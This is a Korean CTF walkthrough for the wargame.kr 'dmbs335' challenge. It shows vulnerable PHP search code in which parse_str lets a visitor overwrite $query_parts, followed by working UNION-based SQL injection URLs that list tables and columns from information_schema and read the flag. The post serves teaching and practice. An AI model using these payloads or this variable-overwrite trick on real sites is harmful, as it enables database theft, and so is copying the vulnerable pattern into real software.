728x90
반응형

dmbs335

SQL injection Challenge!
(injection)

- thx to dmbs335

 

 

 

표가 하나 있고, 하단에 검색 도구가 존재한다.

 

Num subject content writer
3 welcome to wargame.kr =D guest
2 nice challenge! dummy data bughela
1 hello world! This is Content1 dmbs335
 

 

 

소스를 보자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php 
function getOperator(&$operator) { 
    switch($operator) { 
        case 'and'
        case '&&'
            $operator = 'and'
            break
        case 'or'
        case '||'
            $operator = 'or'
            break
        default
            $operator = 'or'
            break
}} 
 
if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}
 
parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''
 
if(!isset($search_cols)) { 
    $search_cols = 'subject|content'
 
$cols = explode('|',$search_cols); 
 
foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"
    } 
 
    if($query_parts) { 
        $where_clause .= $query_parts
        $where_clause .= ' '
        $where_clause .= $operator
        $where_clause .= ' '
        $query_parts = ''
    } 
 
if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause- (strlen($operator+ 2);
    $where_clause = substr($where_clause0$len); 
 
 
?>
 
  
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
 
cs

 

핵심만 가져왔다.

 

 

검색을 하게 되면 ?search_cols=subject&keyword=1234&operator=or  이렇게 get 방식으로 값을 전달한다.

 

 

operator의 경우, 22행에 의해 and나 or로만 설정이 된다.

 

search_cols도 33행 필터링에 의해 subject|content|writer 밖에 못 들어간다.

 

 

 

인젝션을 할 만한 곳을 찾아야 한다.

초기화를 하지 않는 변수가 있다.

 

query_parts 인데, parse_str함수를 사용하였기 때문에 query_parts에 내가 원하는 값을 넣어버릴 수가 있다.

 

search_cols에 subject|content|writer 를 제외한 다른 값 (ex: a)를 넣고

operator에는 or 넣어주고

query_parts에 1 union select 1,2,3,4#을 넣는다고 하면,

 

34~36행을 실행되지 않게 되며, 최종 쿼리가 아래와 같이 된다.

 

select * from board where 1 union select 1,2,3,4# or   order by idx desc

 

인젝션 성공!

 

 

테이블명 쏙 가져오고

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,table_name,3,4%20from%20information_schema.tables%23

 

Th1s_1s_Flag_tbl

 

 

 

 

칼럼명 쏙 가져오고

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,column_name,3,4%20from%20information_schema.columns%23

 

f1ag

 

 

 

 

 

http://wargame.kr:8080/dmbs335/?search_cols=a&operator=or&query_parts=1%20union%20select%201,f1ag,3,4%20from%20Th1s_1s_Flag_tbl%23

728x90
반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DLL with notepad] 풀이  (0) 2020.01.08
Wargame.kr [QnA] 풀이  (0) 2020.01.06
Wargame.kr [dmbs335] 풀이  (0) 2020.01.06
Wargame.kr [Crypto Crackme Basic] 풀이  (0) 2020.01.06
Wargame.kr [crack crack crack it] 풀이  (0) 2020.01.06
Wargame.kr [lonely guys] 풀이  (0) 2020.01.06

+ Recent posts